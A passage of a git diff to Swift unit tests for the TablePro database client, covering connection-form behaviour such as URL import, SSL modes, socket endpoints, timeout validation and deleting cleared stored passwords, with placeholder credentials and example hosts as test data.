#expect(coordinator.ssh.state.host == "bastion.example.com", "The server itself is kept") - } - - @Test("going back to Host and Port offers the transports again") - func hostAndPortRestoresTransports() { - let coordinator = coordinator() - let offered = coordinator.availableTransports - - coordinator.selectEndpoint(.localSocket) - coordinator.selectEndpoint(.hostAndPort) - - #expect(coordinator.availableTransports == offered) - #expect(offered.contains(.ssh)) - } - - @Test("choosing an endpoint clears a passing test result") - func endpointInvalidatesTestResult() { - let coordinator = coordinator() - coordinator.testResult = ConnectionTestResult(succeeded: true) - coordinator.selectEndpoint(.localSocket) - #expect(!coordinator.testSucceeded) - } - - @Test("a stored socket under an SSH tunnel loads as Host and Port and keeps the tunnel") - func storedSocketUnderSSHKeepsTheTunnel() { - var stored = DatabaseConnection(name: "Mixed", host: "db.internal", port: 3_306, type: .mysql) - stored.additionalFields[MySQLLocalSocket.fieldKey] = "/tmp/mysql.sock" - stored.sshTunnelMode = .inline(SSHConfiguration(enabled: true, host: "bastion.example.com")) - - let coordinator = coordinator() - coordinator.network.load(from: stored) - coordinator.ssh.state.enabled = true - coordinator.normalizeTransport() - - #expect(coordinator.network.endpoint == .hostAndPort) - #expect(coordinator.transport == .ssh) - #expect(coordinator.buildEdits().additionalFields[MySQLLocalSocket.fieldKey] == nil) - } - - @Test("a socket connection saves its path and no transport") - func socketEditsCarryThePath() { - let coordinator = coordinator() - coordinator.network.name = "Local" - coordinator.selectEndpoint(.localSocket) - coordinator.network.localSocketPath = "/tmp/mysql.sock" - - let edits = coordinator.buildEdits() - - #expect(edits.additionalFields[MySQLLocalSocket.fieldKey] == "/tmp/mysql.sock") - #expect(edits.ownedAdditionalFieldIDs.contains(MySQLLocalSocket.fieldKey)) - #expect(edits.applied(to: DatabaseConnection(name: "")).localSocketPath == "/tmp/mysql.sock") - #expect(coordinator.isFormValid) - } - - @Test("an empty socket blocks Save from the General tab") - func emptySocketIsClaimedByGeneral() { - let coordinator = coordinator() - coordinator.network.name = "Local" - coordinator.selectEndpoint(.localSocket) - - #expect(!coordinator.isFormValid) - #expect(coordinator.firstTabWithIssue == .general) - } - - @Test("every issue that blocks Save is claimed by a visible tab") - func everyBlockingIssueHasATabToFix() { - let coordinator = coordinator() - coordinator.transport = .socksProxy - coordinator.socksProxy.state.host = "" - - #expect(!coordinator.isFormValid) - let claimed = coordinator.visibleTabs.flatMap { $0.validationIssues(for: coordinator) } - #expect(claimed == coordinator.validationIssues) - #expect(coordinator.firstTabWithIssue != nil) - } -} diff --git a/apple/TableProTests/ViewModels/ConnectionFormURLImportTests.swift b/apple/TableProTests/ViewModels/ConnectionFormURLImportTests.swift deleted file mode 100644 index 20fbea7f9e..0000000000 --- a/apple/TableProTests/ViewModels/ConnectionFormURLImportTests.swift +++ /dev/null @@ -1,120 +0,0 @@ -// -// ConnectionFormURLImportTests.swift -// TableProTests -// - -import Foundation -import TableProPluginKit -import Testing - -@testable import TablePro - -@MainActor -struct ConnectionFormURLImportTests { - private func formImporting(_ url: String) throws -> ConnectionFormCoordinator { - guard case .success(let parsed) = ConnectionURLParser.parse(url) else { - throw ConnectionURLParseError.invalidURL - } - let coordinator = ConnectionFormCoordinator(connectionId: nil, initialParsedURL: parsed) - coordinator.start() - return coordinator - } - - @Test("Secrets a MongoDB connection string carries reach Keychain-backed fields, never plain options") - func mongoURISecretsStayOutOfPlainOptions() throws { - let coordinator = try formImporting( - "mongodb://app:s3cret@db.example.com:27017/orders?tls=true" - + "&tlsCertificateKeyFile=%2FUsers%2Falice%2Fclient.pem&tlsCertificateKeyFilePassword=hunter2" - + "&authMechanism=MONGODB-AWS&authMechanismProperties=AWS_SESSION_TOKEN%3AFQoGZXIvYXdz" - + "&proxyPassword=proxy-secret&retryWrites=true" - ) - let plain = coordinator.allAdditionalFieldValues.filter { $0.key != "mongoAWSSessionToken" } - - #expect(coordinator.ssl.clientCertPath == "/Users/alice/client.pem") - #expect(coordinator.ssl.clientKeyPassphrase == "hunter2") - #expect(coordinator.ssl.clientKeyPath == "/Users/alice/client.pem") - #expect(coordinator.auth.additionalFieldValues["mongoAWSSessionToken"] == "FQoGZXIvYXdz") - #expect(coordinator.secureFieldsOwnedByForm().contains { $0.id == "mongoAWSSessionToken" }) - #expect(!plain.values.contains("hunter2")) - #expect(!plain.values.contains { $0.contains("FQoGZXIvYXdz") }) - #expect(!plain.values.contains("proxy-secret")) - #expect(plain["mongoParam_retryWrites"] == "true") - } - - @Test("sslmode=verify-full opens the form on Verify Identity") - func verifyFullKeepsIdentityVerification() throws { - let coordinator = try formImporting("postgresql://u@db.example.com/app?sslmode=verify-full") - #expect(coordinator.ssl.mode == .verifyIdentity) - } - - @Test("sslmode=verify-ca opens the form on Verify CA") - func verifyCaKeepsCertificateVerification() throws { - let coordinator = try formImporting("postgresql://u@db.example.com/app?sslmode=verify-ca") - #expect(coordinator.ssl.mode == .verifyCa) - } - - @Test("sslmode=disable opens the form on Disabled") - func disableTurnsTLSOff() throws { - let coordinator = try formImporting("postgresql://u@db.example.com/app?sslmode=disable") - #expect(coordinator.ssl.mode == .disabled) - } - - @Test( - "ssl=1 and ssl=require turn TLS on as ssl=true does", - arguments: [ - "postgresql://u@db.example.com/app", - "mysql://root@db.example.com/app", - "redis://cache.example.com" - ], - ["1", "require"] - ) - func sslFlagSpellingsTurnTLSOn(_ base: String, _ value: String) throws { - let spelled = try formImporting("\(base)?ssl=\(value)") - let canonical = try formImporting("\(base)?ssl=true") - #expect(spelled.ssl.mode == canonical.ssl.mode) - #expect(spelled.ssl.mode == .required) - } - - @Test("A bracketed IPv6 host reaches the form bare, as a driver dials it") - func ipv6HostReachesTheFormBare() throws { - let coordinator = try formImporting("postgres://alice@[2001:db8::5]:6000/sales") - #expect(coordinator.network.host == "2001:db8::5") - #expect(coordinator.network.port == "6000") - } - - @Test("A libSQL URL with an IPv6 host rebuilds a database URL that keeps its brackets") - func libSQLIPv6KeepsBrackets() throws { - let coordinator = try formImporting("libsql://[::1]:8443") - #expect(coordinator.allAdditionalFieldValues["databaseUrl"] == "https://[::1]:8443") - } - - @Test("Host, credentials and database from the URL reach the form") - func connectionFieldsReachTheForm() throws { - let coordinator = try formImporting("postgres://alice:p%40ss@db.example.com:6000/sales") - #expect(coordinator.network.type == .postgresql) - #expect(coordinator.network.host == "db.example.com") - #expect(coordinator.network.port == "6000") - #expect(coordinator.network.database == "sales") - #expect(coordinator.auth.username == "alice") - #expect(coordinator.auth.password == "p@ss") - } - - @Test( - "A socket URL opens the form on Socket with its path", - arguments: [ - "mysql://root@localhost/local?socket=%2Ftmp%2Fmysql.sock", - "mariadb://root@/local?unix_socket=/tmp/mysql.sock" - ] - ) - func socketURLSelectsSocket(_ url: String) throws { - let coordinator = try formImporting(url) - #expect(coordinator.network.endpoint == .localSocket) - #expect(coordinator.network.localSocketPath == "/tmp/mysql.sock") - #expect(coordinator.transport == nil) - #expect(coordinator.advanced.additionalFieldValues[MySQLLocalSocket.fieldKey] == nil) - - let edits = coordinator.buildEdits() - #expect(edits.additionalFields[MySQLLocalSocket.fieldKey] == "/tmp/mysql.sock") - #expect(edits.applied(to: DatabaseConnection(name: "")).localSocketPath == "/tmp/mysql.sock") - } -} diff --git a/apple/TableProTests/ViewModels/ConnectionPresentationTests.swift b/apple/TableProTests/ViewModels/ConnectionPresentationTests.swift deleted file mode 100644 index e05e800687..0000000000 --- a/apple/TableProTests/ViewModels/ConnectionPresentationTests.swift +++ /dev/null @@ -1,132 +0,0 @@ -import Testing -import TableProPluginKit -@testable import TablePro - -struct ConnectionPresentationTests { - private func field( - _ id: String, - section: FieldSection, - required: Bool = false, - defaultValue: String? = nil, - type: ConnectionField.FieldType = .text, - hidesPassword: Bool = false, - visibleWhen: FieldVisibilityRule? = nil - ) -> ConnectionField { - ConnectionField( - id: id, - label: id, - required: required, - defaultValue: defaultValue, - fieldType: type, - section: section, - hidesPassword: hidesPassword, - visibleWhen: visibleWhen - ) - } - - @Test func visibleFieldsFilterBySectionAndVisibility() { - let fields = [ - field("host", section: .connection), - field("mode", section: .connection, defaultValue: "a", type: .dropdown(options: [ - .init(value: "a", label: "A"), .init(value: "b", label: "B"), - ])), - field("sentinel", section: .connection, visibleWhen: .init(fieldId: "mode", values: ["b"])), - field("extra", section: .advanced), - ] - let hidden = ConnectionPresentation(fields: fields, values: ["mode": "a"]) - #expect(hidden.visibleFields(in: .connection).map(\.id) == ["host", "mode"]) - #expect(hidden.visibleFields(in: .advanced).map(\.id) == ["extra"]) - - let shown = ConnectionPresentation(fields: fields, values: ["mode": "b"]) - #expect(shown.visibleFields(in: .connection).map(\.id) == ["host", "mode", "sentinel"]) - } - - @Test func crossSectionVisibleWhenResolvesAgainstMergedValues() { - // The controller lives in .connection, the controlled secret in .authentication: the sharded - // per-pane dictionaries could not see across sections, this engine takes one flat dict. - let fields = [ - field("mode", section: .connection, defaultValue: "standalone", type: .dropdown(options: [ - .init(value: "standalone", label: "Standalone"), .init(value: "sentinel", label: "Sentinel"), - ])), - field("sentinelPassword", section: .authentication, type: .secure, - visibleWhen: .init(fieldId: "mode", values: ["sentinel"])), - ] - #expect(!ConnectionPresentation(fields: fields, values: ["mode": "standalone"]) - .isVisible(fields[1])) - #expect(ConnectionPresentation(fields: fields, values: ["mode": "sentinel"]) - .isVisible(fields[1])) - } - - @Test func hidesPasswordFromDropdownToggleAndControllerChain() { - let dropdown = field("authMethod", section: .authentication, defaultValue: "password", - type: .dropdown(options: [ - .init(value: "password", label: "Password"), - .init(value: "sso", label: "SSO"), - ]), hidesPassword: true) - // Dropdown at its default does not hide; off-default hides. - #expect(!ConnectionPresentation(fields: [dropdown], values: ["authMethod": "password"]).hidesPassword) - #expect(ConnectionPresentation(fields: [dropdown], values: ["authMethod": "sso"]).hidesPassword) - - let toggle = field("usePgpass", section: .authentication, type: .toggle, hidesPassword: true) - #expect(ConnectionPresentation(fields: [toggle], values: ["usePgpass": "true"]).hidesPassword) - #expect(!ConnectionPresentation(fields: [toggle], values: [:]).hidesPassword) - - // The snapshot flag hides regardless of fields. - #expect(ConnectionPresentation(fields: [], values: [:], hidesBuiltInPassword: true).hidesPassword) - } - - @Test func requiredAndRangeValidation() { - let fields = [ - field("token", section: .authentication, required: true, type: .secure), - field("database", section: .connection, required: true, defaultValue: "postgres"), - field("poolSize", section: .advanced, type: .stepper(range: .init(1...10))), - ] - let empty = ConnectionPresentation(fields: fields, values: ["poolSize": "99"]) - // token required + empty -> an issue; database has a default so no issue. - #expect(empty.validationIssues(in: .authentication) == ["token is required"]) - #expect(empty.validationIssues(in: .connection).isEmpty) - #expect(empty.validationIssues(in: .advanced) == ["poolSize must be between 1 and 10"]) - - // A linked credential profile supplies the field at connect: excluding it drops the issue. - #expect(empty.validationIssues(in: .authentication, excludingRequired: ["token"]).isEmpty) - - let filled = ConnectionPresentation(fields: fields, values: ["token": "abc", "poolSize": "5"]) - #expect(filled.validationIssues(in: .authentication).isEmpty) - #expect(filled.validationIssues(in: .advanced).isEmpty) - } - - @Test func requiredHiddenFieldDoesNotBlock() { - let fields = [ - field("mode", section: .connection, defaultValue: "a", type: .dropdown(options: [ - .init(value: "a", label: "A"), .init(value: "b", label: "B"), - ])), - field("onlyForB", section: .connection, required: true, - visibleWhen: .init(fieldId: "mode", values: ["b"])), - ] - #expect(ConnectionPresentation(fields: fields, values: ["mode": "a"]).validationIssues(in: .connection).isEmpty) - #expect(ConnectionPresentation(fields: fields, values: ["mode": "b"]).validationIssues(in: .connection) == ["onlyForB is required"]) - } - - @Test func defaultValuesSeedPerSectionAndAll() { - let fields = [ - field("a", section: .connection, defaultValue: "1"), - field("b", section: .advanced, defaultValue: "2"), - field("c", section: .advanced), - ] - let p = ConnectionPresentation(fields: fields, values: [:]) - #expect(p.defaultValues(in: .connection) == ["a": "1"]) - #expect(p.defaultValues(in: .advanced) == ["b": "2"]) - #expect(p.defaultValues() == ["a": "1", "b": "2"]) - } - - @Test func visibilityCycleTerminates() { - // Two fields each gating the other: must not recurse forever. - let fields = [ - field("x", section: .connection, visibleWhen: .init(fieldId: "y", values: ["on"])), - field("y", section: .connection, visibleWhen: .init(fieldId: "x", values: ["on"])), - ] - let p = ConnectionPresentation(fields: fields, values: ["x": "on", "y": "on"]) - #expect(p.isVisible(fields[0])) - #expect(p.isVisible(fields[1])) - } -} diff --git a/apple/TableProTests/ViewModels/ConnectionTimeoutSettingsTests.swift b/apple/TableProTests/ViewModels/ConnectionTimeoutSettingsTests.swift index 662459f752..00d2dcd48b 100644 --- a/apple/TableProTests/ViewModels/ConnectionTimeoutSettingsTests.swift +++ b/apple/TableProTests/ViewModels/ConnectionTimeoutSettingsTests.swift @@ -82,67 +82,82 @@ struct ConnectionTimeoutSettingsTests { #expect(decoded.queryTimeoutSeconds == 0) } + private func traits(_ type: DatabaseType = .mysql) -> ConnectionTypeTraits { + ConnectionTypeTraits.live(for: type, pluginManager: .shared) + } + + private func advancedIssues(_ draft: ConnectionDraft) -> [String] { + ConnectionEditorEngine.issues(draft, traits(draft.type), EditorContext()) + .filter { $0.facet == .advanced } + .map(\.message) + } + + private func namedDraft() -> ConnectionDraft { + var draft = ConnectionDraft.new(type: .mysql, traits: traits()) + draft.name = "Timeouts" + return draft + } + @Test("Customization loads both timeout overrides") func customizationLoadsTimeoutOverrides() { var connection = DatabaseConnection(name: "Timeouts") connection.connectTimeoutSeconds = 75 connection.queryTimeoutSeconds = 180 - let viewModel = CustomizationPaneViewModel() - viewModel.load(from: connection) + let draft = ConnectionDraft.loaded(from: connection, secrets: .none, traits: traits(connection.type)) - #expect(viewModel.connectTimeoutSeconds == 75) - #expect(viewModel.queryTimeoutSeconds == 180) + #expect(draft.options.connectTimeoutSeconds == 75) + #expect(draft.options.queryTimeoutSeconds == 180) } @Test("Connect timeout accepts only values from 1 through 600") func validatesConnectTimeout() { - let viewModel = CustomizationPaneViewModel() + var draft = namedDraft() - viewModel.connectTimeoutSeconds = nil - #expect(viewModel.validationIssues.isEmpty) + draft.options.connectTimeoutSeconds = nil + #expect(advancedIssues(draft).isEmpty) - viewModel.connectTimeoutSeconds = 0 - #expect(viewModel.validationIssues == ["Connect timeout must be between 1 and 600 seconds."]) + draft.options.connectTimeoutSeconds = 0 + #expect(advancedIssues(draft) == ["Connect timeout must be between 1 and 600 seconds."]) - viewModel.connectTimeoutSeconds = 600 - #expect(viewModel.validationIssues.isEmpty) + draft.options.connectTimeoutSeconds = 600 + #expect(advancedIssues(draft).isEmpty) - viewModel.connectTimeoutSeconds = 601 - #expect(viewModel.validationIssues == ["Connect timeout must be between 1 and 600 seconds."]) + draft.options.connectTimeoutSeconds = 601 + #expect(advancedIssues(draft) == ["Connect timeout must be between 1 and 600 seconds."]) } @Test("Query timeout accepts only values safe for millisecond APIs") func validatesQueryTimeout() { - let viewModel = CustomizationPaneViewModel() + var draft = namedDraft() let maximum = DatabaseConnection.queryTimeoutSecondsRange.upperBound - viewModel.queryTimeoutSeconds = nil - #expect(viewModel.validationIssues.isEmpty) + draft.options.queryTimeoutSeconds = nil + #expect(advancedIssues(draft).isEmpty) - viewModel.queryTimeoutSeconds = 0 - #expect(viewModel.validationIssues.isEmpty) + draft.options.queryTimeoutSeconds = 0 + #expect(advancedIssues(draft).isEmpty) - viewModel.queryTimeoutSeconds = 120 - #expect(viewModel.validationIssues.isEmpty) + draft.options.queryTimeoutSeconds = 120 + #expect(advancedIssues(draft).isEmpty) - viewModel.queryTimeoutSeconds = maximum - #expect(viewModel.validationIssues.isEmpty) + draft.options.queryTimeoutSeconds = maximum + #expect(advancedIssues(draft).isEmpty) - viewModel.queryTimeoutSeconds = maximum + 1 - #expect(viewModel.validationIssues == ["Query timeout must be between 0 and 2,147,483 seconds."]) + draft.options.queryTimeoutSeconds = maximum + 1 + #expect(advancedIssues(draft) == ["Query timeout must be between 0 and 2,147,483 seconds."]) - viewModel.queryTimeoutSeconds = -1 - #expect(viewModel.validationIssues == ["Query timeout must be between 0 and 2,147,483 seconds."]) + draft.options.queryTimeoutSeconds = -1 + #expect(advancedIssues(draft) == ["Query timeout must be between 0 and 2,147,483 seconds."]) } @Test("Connection form edits include both timeout overrides") func coordinatorBuildsTimeoutEdits() { - let coordinator = ConnectionFormCoordinator(connectionId: nil) - coordinator.customization.connectTimeoutSeconds = 90 - coordinator.customization.queryTimeoutSeconds = 0 + var draft = namedDraft() + draft.options.connectTimeoutSeconds = 90 + draft.options.queryTimeoutSeconds = 0 - let edits = coordinator.buildEdits() + let edits = ConnectionEditorEngine.edits(draft, traits(), originalTraits: nil, EditorContext()) #expect(edits.connectTimeoutSeconds == 90) #expect(edits.queryTimeoutSeconds == 0) diff --git a/apple/TableProTests/ViewModels/RemoteFilePaneValidationTests.swift b/apple/TableProTests/ViewModels/RemoteFilePaneValidationTests.swift deleted file mode 100644 index 374ae2e544..0000000000 --- a/apple/TableProTests/ViewModels/RemoteFilePaneValidationTests.swift +++ /dev/null @@ -1,65 +0,0 @@ -// -// RemoteFilePaneValidationTests.swift -// TableProTests -// - -import Foundation -import Testing - -@testable import TablePro - -/// `isFormValid` reads every pane's issues, visible or not. -/// -/// The Remote File pane edits the same `SSHTunnelFormState` the SSH Tunnel pane does, so a version -/// of it that answered whenever SSH was enabled told every MySQL and PostgreSQL connection with a -/// tunnel that it needed a remote database file path, and disabled Save and Test on all of them. -@MainActor -struct RemoteFilePaneValidationTests { - private func coordinator(type: DatabaseType) -> ConnectionFormCoordinator { - let coordinator = ConnectionFormCoordinator(connectionId: nil) - coordinator.network.type = type - return coordinator - } - - @Test("An SSH-tunnelled network connection is never asked for a remote file path") - func networkConnectionWithTunnelStaysValid() { - for type in [DatabaseType.mysql, .postgresql] { - let coordinator = coordinator(type: type) - coordinator.ssh.state.enabled = true - coordinator.ssh.state.host = "bastion.example.com" - coordinator.ssh.state.username = "deploy" - - #expect(coordinator.remoteFile.validationIssues.isEmpty) - } - } - - @Test("A file-backed connection with SSH on but no path is told what is missing") - func fileBackedConnectionRequiresAPath() { - let coordinator = coordinator(type: .sqlite) - coordinator.ssh.state.enabled = true - coordinator.ssh.state.host = "prod-1" - coordinator.ssh.state.username = "deploy" - coordinator.ssh.state.remoteFilePath = "" - - #expect(coordinator.remoteFile.validationIssues.count == 1) - } - - @Test("A file-backed connection naming both a server and a path has nothing to report") - func completeRemoteFileIsValid() { - let coordinator = coordinator(type: .sqlite) - coordinator.ssh.state.enabled = true - coordinator.ssh.state.host = "prod-1" - coordinator.ssh.state.username = "deploy" - coordinator.ssh.state.remoteFilePath = "/srv/app.db" - - #expect(coordinator.remoteFile.validationIssues.isEmpty) - } - - @Test("SSH switched off leaves nothing to validate") - func disabledSSHReportsNothing() { - let coordinator = coordinator(type: .sqlite) - coordinator.ssh.state.enabled = false - - #expect(coordinator.remoteFile.validationIssues.isEmpty) - } -} diff --git a/apple/TableProTests/ViewModels/SSLPaneViewModelTests.swift b/apple/TableProTests/ViewModels/SSLPaneViewModelTests.swift deleted file mode 100644 index 9cff10a01a..0000000000 --- a/apple/TableProTests/ViewModels/SSLPaneViewModelTests.swift +++ /dev/null @@ -1,184 +0,0 @@ -// -// SSLPaneViewModelTests.swift -// TableProTests -// - -import Foundation -@testable import TablePro -import TableProPluginKit -import Testing - -@MainActor -struct SSLPaneViewModelTests { - @Test("resetForType applies engine's native default for PostgreSQL") - func testResetForPostgreSQL() { - let viewModel = SSLPaneViewModel() - viewModel.select(.disabled) - viewModel.resetForType(.postgresql) - #expect(viewModel.mode == .preferred) - } - - @Test("resetForType applies engine's native default for SQL Server") - func testResetForMSSQL() { - let viewModel = SSLPaneViewModel() - viewModel.select(.disabled) - viewModel.resetForType(.mssql) - #expect(viewModel.mode == .preferred) - } - - @Test("resetForType keeps disabled for binary-TLS engines") - func testResetForRedis() { - let viewModel = SSLPaneViewModel() - viewModel.select(.required) - viewModel.resetForType(.redis) - #expect(viewModel.mode == .disabled) - } - - @Test("resetForType clears certificate paths") - func testResetClearsPaths() { - let viewModel = SSLPaneViewModel() - viewModel.caCertPath = "/tmp/ca.pem" - viewModel.clientCertPath = "/tmp/client.crt" - viewModel.clientKeyPath = "/tmp/client.key" - viewModel.resetForType(.postgresql) - #expect(viewModel.caCertPath.isEmpty) - #expect(viewModel.clientCertPath.isEmpty) - #expect(viewModel.clientKeyPath.isEmpty) - } - - @Test("resetForType for unknown future engine falls back to disabled") - func testResetForUnknownType() { - let viewModel = SSLPaneViewModel() - viewModel.select(.required) - viewModel.resetForType(DatabaseType(rawValue: "FutureDB")) - #expect(viewModel.mode == .disabled) - } - - private func verifyIdentityIssues(for type: DatabaseType, caCertPath: String = "") -> [String] { - issues(for: type, mode: .verifyIdentity, caCertPath: caCertPath) - } - - private func issues(for type: DatabaseType, mode: SSLMode, caCertPath: String = "") -> [String] { - let coordinator = ConnectionFormCoordinator(connectionId: nil) - coordinator.network.type = type - coordinator.ssl.select(mode) - coordinator.ssl.caCertPath = caCertPath - return coordinator.ssl.validationIssues - } - - @Test("Verify Identity without a CA file saves for SAP HANA and Kafka, which trust the system roots") - func systemTrustStoreEnginesNeedNoCAFile() { - for type in [DatabaseType.sapHana, .kafka] { - #expect(type.verifiesServerWithSystemTrust) - #expect(verifyIdentityIssues(for: type).isEmpty) - } - } - - @Test("Verify Identity without a CA file is refused for engines that need one") - func fileTrustEnginesStillRequireACAFile() { - #expect(!DatabaseType.mysql.verifiesServerWithSystemTrust) - #expect(verifyIdentityIssues(for: .mysql).count == 1) - #expect(verifyIdentityIssues(for: .mysql, caCertPath: "/tmp/ca.pem").isEmpty) - } - - @Test( - "The libpq engines save Verify Identity without a CA file and still need one for Verify CA", - arguments: [DatabaseType.postgresql, .redshift, .cockroachdb, .kingbasees] - ) - func libpqEnginesNeedACAFileOnlyForVerifyCA(type: DatabaseType) { - #expect(type.verifiesServerWithSystemTrust) - #expect(verifyIdentityIssues(for: type).isEmpty) - #expect(issues(for: type, mode: .verifyCa).count == 1) - #expect(issues(for: type, mode: .verifyCa, caCertPath: "/tmp/ca.pem").isEmpty) - } - - @Test("A Trino port of 443 escalates the type default to Verify Identity, and another port reverts it") - func testReconcileFollowsTheTLSPort() { - let viewModel = SSLPaneViewModel() - viewModel.resetForType(.trino) - - viewModel.reconcile(port: 443, type: .trino) - #expect(viewModel.mode == .verifyIdentity) - #expect(viewModel.origin == .impliedByPort) - - viewModel.reconcile(port: 4_430, type: .trino) - #expect(viewModel.mode == .disabled) - #expect(viewModel.origin == .typeDefault) - } - - @Test("A selected mode is never changed by the port") - func testReconcileKeepsASelectedMode() { - let viewModel = SSLPaneViewModel() - viewModel.resetForType(.trino) - viewModel.select(.disabled) - - viewModel.reconcile(port: 443, type: .trino) - #expect(viewModel.mode == .disabled) - #expect(viewModel.origin == .chosen) - } - - @Test("A stored Disabled on port 443 is still the type default, so editing the port escalates it") - func testLoadedDefaultModeCanStillEscalate() { - let connection = DatabaseConnection( - name: "Trino", port: 443, type: .trino, sslConfig: SSLConfiguration(mode: .disabled) - ) - let viewModel = SSLPaneViewModel() - viewModel.load(from: connection) - #expect(viewModel.origin == .typeDefault) - - viewModel.reconcile(port: 443, type: .trino) - #expect(viewModel.mode == .verifyIdentity) - } - - @Test("A stored Verify Identity is a choice, so moving off port 443 keeps it") - func testLoadedNonDefaultModeIsAChoice() { - let connection = DatabaseConnection( - name: "Trino", port: 443, type: .trino, sslConfig: SSLConfiguration(mode: .verifyIdentity) - ) - let viewModel = SSLPaneViewModel() - viewModel.load(from: connection) - #expect(viewModel.origin == .chosen) - - viewModel.reconcile(port: 8_080, type: .trino) - #expect(viewModel.mode == .verifyIdentity) - } - - @Test("An imported explicit mode is a choice, and an import with no mode follows the port") - func testApplyImported() { - let viewModel = SSLPaneViewModel() - - viewModel.applyImported(SSLModeResolution(mode: .required, origin: .chosen)) - #expect(viewModel.mode == .required) - #expect(viewModel.origin == .chosen) - - viewModel.applyImported(DatabaseType.trino.sslModeResolution(forPort: 443)) - #expect(viewModel.mode == .verifyIdentity) - #expect(viewModel.origin == .impliedByPort) - - viewModel.reconcile(port: 8_080, type: .trino) - #expect(viewModel.mode == .disabled) - #expect(viewModel.origin == .typeDefault) - } - - @Test("An imported ssl=false turns SSL off even where the driver defaults to Preferred") - func testImportedSSLFalseIsDisabled() throws { - guard case .success(let parsed) = ConnectionURLParser.parse("mysql://root@db.example.com/shop?ssl=false") else { - Issue.record("Expected the URL to parse") - return - } - let viewModel = SSLPaneViewModel() - viewModel.applyImported(parsed.sslModeResolution) - #expect(viewModel.mode == .disabled) - #expect(viewModel.origin == .chosen) - } - - @Test("A type with no TLS ports ignores the port") - func testReconcileIgnoresTypesWithoutTLSPorts() { - let viewModel = SSLPaneViewModel() - viewModel.resetForType(.postgresql) - - viewModel.reconcile(port: 443, type: .postgresql) - #expect(viewModel.mode == .preferred) - #expect(viewModel.origin == .typeDefault) - } -} diff --git a/apple/TableProTests/Views/Connection/CommandPreviewThemeTests.swift b/apple/TableProTests/Views/Connection/CommandPreviewThemeTests.swift index 4750592f0b..cf06793877 100644 --- a/apple/TableProTests/Views/Connection/CommandPreviewThemeTests.swift +++ b/apple/TableProTests/Views/Connection/CommandPreviewThemeTests.swift @@ -56,11 +56,15 @@ struct CommandPreviewThemeTests { @Test("The tunnel command's Will Run preview sits in an editor-themed well") func tunnelPreviewWearsTheEditorTheme() throws { - let coordinator = ConnectionFormCoordinator(connectionId: nil) - coordinator.tunnelCommand.state.config.method = .custom - coordinator.tunnelCommand.state.config.command = "ssh -N -L {port}:{host}:{remotePort} bastion" - try #require(coordinator.tunnelCommandPreview != nil) - let form = Form { TunnelCommandTransportSections(coordinator: coordinator) }.formStyle(.grouped) + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .mysql, parsedURL: nil)) + store.selectTransport(.tunnelCommand) + store.update { + $0.tunnelCommand.config.method = .custom + $0.tunnelCommand.config.command = "ssh -N -L {port}:{host}:{remotePort} bastion" + } + try #require(store.tunnelCommandPreview != nil) + let form = Form { TransportCommandRow(row: .tunnelCommandPreview, store: store) }.formStyle(.grouped) try ThemeTestFixture.adopting(ThemeTestFixture.pair([.editorBackground: "#FF00FF"]), appearance: .light) { let themed = try magentaCount(form, size: Self.formSize) diff --git a/apple/TableProTests/Views/ConnectionForm/ClearedSecretSaveTests.swift b/apple/TableProTests/Views/ConnectionForm/ClearedSecretSaveTests.swift deleted file mode 100644 index 568edea8f4..0000000000 --- a/apple/TableProTests/Views/ConnectionForm/ClearedSecretSaveTests.swift +++ /dev/null @@ -1,131 +0,0 @@ -import Foundation -import Testing - -@testable import TablePro - -/// Emptying a password field and saving has to delete the stored secret. Leaving it behind means -/// the next connect still authenticates with the old password, an encrypted export still carries -/// it, and a duplicate copies it. -@MainActor -struct ClearedSecretSaveTests { - private let suite: EphemeralDefaults - - init() throws { - suite = try EphemeralDefaults() - } - - private final class ScriptedKeychain: KeychainStoring, @unchecked Sendable { - private let lock = NSLock() - private var result: KeychainStringResult - - init(_ result: KeychainStringResult) { - self.result = result - } - - @discardableResult - func writeString(_ value: String, forKey key: String) -> Bool { true } - - func readStringResult(forKey key: String) -> KeychainStringResult { - lock.lock() - defer { lock.unlock() } - return result - } - - func delete(forKey key: String) {} - } - - private func makeStorage(_ result: KeychainStringResult) -> ConnectionStorage { - let unique = UUID().uuidString - let fileURL = FileManager.default.temporaryDirectory - .appendingPathComponent("tablepro-tests") - .appendingPathComponent(unique) - .appendingPathComponent("connections.json") - try? FileManager.default.createDirectory( - at: fileURL.deletingLastPathComponent(), - withIntermediateDirectories: true - ) - return ConnectionStorage( - fileURL: fileURL, - userDefaults: suite.defaults, - keychain: ScriptedKeychain(result) - ) - } - - @Test("Clearing a password that was stored asks for the stored one to be deleted") - func clearedPasswordIsDeleted() { - let model = AuthPaneViewModel() - model.load(from: TestFixtures.makeConnection(), storage: makeStorage(.found("hunter2"))) - model.password = "" - - #expect(model.clearsStoredPassword) - } - - @Test("Leaving a loaded password in place deletes nothing") - func untouchedPasswordIsKept() { - let model = AuthPaneViewModel() - model.load(from: TestFixtures.makeConnection(), storage: makeStorage(.found("hunter2"))) - - #expect(!model.clearsStoredPassword) - } - - @Test("An empty field on a connection that never had a password deletes nothing") - func neverStoredDeletesNothing() { - let model = AuthPaneViewModel() - model.load(from: TestFixtures.makeConnection(), storage: makeStorage(.notFound)) - model.password = "" - - #expect(!model.clearsStoredPassword) - } - - @Test( - "A keychain that could not be read never causes a delete", - arguments: [ - KeychainStringResult.locked, - .userCancelled, - .authFailed, - .error(-25_300), - ] - ) - func unreadableKeychainNeverDeletes(_ result: KeychainStringResult) { - let model = AuthPaneViewModel() - model.load(from: TestFixtures.makeConnection(), storage: makeStorage(result)) - model.password = "" - - #expect(!model.clearsStoredPassword) - } - - @Test("Switching to prompt mode is handled by the prompt arm, not by the cleared arm") - func promptModeIsNotACleared() { - let model = AuthPaneViewModel() - model.load(from: TestFixtures.makeConnection(), storage: makeStorage(.found("hunter2"))) - model.password = "" - model.promptForPassword = true - - #expect(!model.clearsStoredPassword) - #expect(model.effectivePromptForPassword) - } - - @Test("An emptied inline SSH password and passphrase are deleted too") - func clearedInlineSSHSecretsAreDeleted() { - var state = SSHTunnelFormState() - state.enabled = true - state.loadSecrets(connectionId: UUID(), storage: makeStorage(.found("secret"))) - state.password = "" - state.keyPassphrase = "" - - #expect(state.clearsStoredPassword) - #expect(state.clearsStoredKeyPassphrase) - } - - @Test("An inline SSH secret that could not be read is never deleted") - func unreadableInlineSSHSecretsAreKept() { - var state = SSHTunnelFormState() - state.enabled = true - state.loadSecrets(connectionId: UUID(), storage: makeStorage(.locked)) - state.password = "" - state.keyPassphrase = "" - - #expect(!state.clearsStoredPassword) - 